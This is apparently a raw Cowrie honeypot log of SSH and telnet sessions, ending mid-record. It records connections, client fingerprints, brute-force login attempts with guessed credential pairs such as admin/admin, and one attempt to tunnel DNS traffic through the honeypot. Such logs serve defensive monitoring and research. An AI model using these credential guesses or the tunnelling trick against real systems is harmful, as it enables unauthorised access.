{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:39:23.251686Z","src_ip":"87.251.64.176","session":"a75096954b69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:39:23.633903Z","src_ip":"87.251.64.176","session":"a75096954b69","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:39:23.766048Z","session":"a75096954b69","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:39:23.866098Z","src_ip":"87.251.64.176","session":"a75096954b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:39:23.965228Z","src_ip":"87.251.64.176","session":"a75096954b69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":33514,"dst_ip":"10.17.0.5","dst_port":22,"session":"2643a1373f02","protocol":"ssh","message":"New connection: 14.224.213.222:33514 (10.17.0.5:22) [session: 2643a1373f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:39:28.033013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:39:28.037948Z","src_ip":"14.224.213.222","session":"2643a1373f02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:39:28.281168Z","src_ip":"14.224.213.222","session":"2643a1373f02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"helloadmin","message":"login attempt [root/helloadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:39:29.293615Z","src_ip":"14.224.213.222","session":"2643a1373f02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:39:30.544270Z","src_ip":"14.224.213.222","session":"2643a1373f02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.255.221.189","src_port":47549,"dst_ip":"10.17.0.5","dst_port":22,"session":"832dc9055350","protocol":"ssh","message":"New connection: 173.255.221.189:47549 (10.17.0.5:22) [session: 832dc9055350]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:40:33.774909Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":36970,"dst_ip":"159.203.135.109","dst_port":22,"session":"be5a554ad377","protocol":"ssh","message":"New connection: 193.32.162.145:36970 (159.203.135.109:22) [session: be5a554ad377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:40:34.365018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:40:34.370160Z","src_ip":"193.32.162.145","session":"be5a554ad377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:40:34.480258Z","src_ip":"193.32.162.145","session":"be5a554ad377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:40:34.627884Z","src_ip":"173.255.221.189","session":"832dc9055350","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":41712,"dst_ip":"10.17.0.5","dst_port":22,"session":"fabeed32e56c","protocol":"ssh","message":"New connection: 14.224.213.222:41712 (10.17.0.5:22) [session: fabeed32e56c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:40:34.698118Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:40:34.704745Z","src_ip":"14.224.213.222","session":"fabeed32e56c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sol@","message":"login attempt [ubuntu/sol@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:40:34.795566Z","src_ip":"193.32.162.145","session":"be5a554ad377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:40:34.972127Z","src_ip":"14.224.213.222","session":"fabeed32e56c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:40:35.902578Z","src_ip":"193.32.162.145","session":"be5a554ad377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user03","password":"user03","message":"login attempt [user03/user03] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:40:36.060638Z","src_ip":"14.224.213.222","session":"fabeed32e56c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:40:37.332039Z","src_ip":"14.224.213.222","session":"fabeed32e56c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":47272,"dst_ip":"10.17.0.5","dst_port":22,"session":"80442a4b0dbd","protocol":"ssh","message":"New connection: 190.244.39.224:47272 (10.17.0.5:22) [session: 80442a4b0dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:41:36.080759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:41:36.088463Z","src_ip":"190.244.39.224","session":"80442a4b0dbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:41:36.288440Z","src_ip":"190.244.39.224","session":"80442a4b0dbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test3","password":"12345678","message":"login attempt [test3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:41:37.081408Z","src_ip":"190.244.39.224","session":"80442a4b0dbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:41:38.279417Z","src_ip":"190.244.39.224","session":"80442a4b0dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":60730,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b2cbfefec13","protocol":"ssh","message":"New connection: 14.224.213.222:60730 (10.17.0.5:22) [session: 2b2cbfefec13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:41:42.314857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:41:42.320222Z","src_ip":"14.224.213.222","session":"2b2cbfefec13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:41:42.572385Z","src_ip":"14.224.213.222","session":"2b2cbfefec13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd1!","message":"login attempt [admin/P@ssw0rd1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:41:43.594689Z","src_ip":"14.224.213.222","session":"2b2cbfefec13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:41:44.847569Z","src_ip":"14.224.213.222","session":"2b2cbfefec13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.173.170.90","src_port":59237,"dst_ip":"10.17.0.5","dst_port":23,"session":"92173ae853b1","protocol":"telnet","message":"New connection: 31.173.170.90:59237 (10.17.0.5:23) [session: 92173ae853b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:41:47.279394Z"}
{"eventid":"cowrie.session.closed","duration":14.09339165687561,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:01.372686Z","src_ip":"31.173.170.90","session":"92173ae853b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.164.217.74","src_port":43454,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a761f8ccae0","protocol":"ssh","message":"New connection: 69.164.217.74:43454 (159.203.135.109:22) [session: 2a761f8ccae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:06.564264Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:06.662334Z","src_ip":"69.164.217.74","session":"2a761f8ccae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":34146,"dst_ip":"10.17.0.5","dst_port":23,"session":"72ddf7b235bb","protocol":"telnet","message":"New connection: 180.235.129.180:34146 (10.17.0.5:23) [session: 72ddf7b235bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:26.166705Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":34180,"dst_ip":"10.17.0.5","dst_port":23,"session":"4254fd78635e","protocol":"telnet","message":"New connection: 180.235.129.180:34180 (10.17.0.5:23) [session: 4254fd78635e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:27.531422Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50986,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6197e28ea9f","protocol":"ssh","message":"New connection: 193.32.162.145:50986 (159.203.135.109:22) [session: a6197e28ea9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:48.345613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:48.350257Z","src_ip":"193.32.162.145","session":"a6197e28ea9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:48.446907Z","src_ip":"193.32.162.145","session":"a6197e28ea9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana@","message":"login attempt [ubuntu/solana@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:48.736875Z","src_ip":"193.32.162.145","session":"a6197e28ea9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.224.213.222","src_port":39580,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb54d40f7e00","protocol":"ssh","message":"New connection: 14.224.213.222:39580 (10.17.0.5:22) [session: bb54d40f7e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:48.857459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T02:42:48.862898Z","src_ip":"14.224.213.222","session":"bb54d40f7e00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffi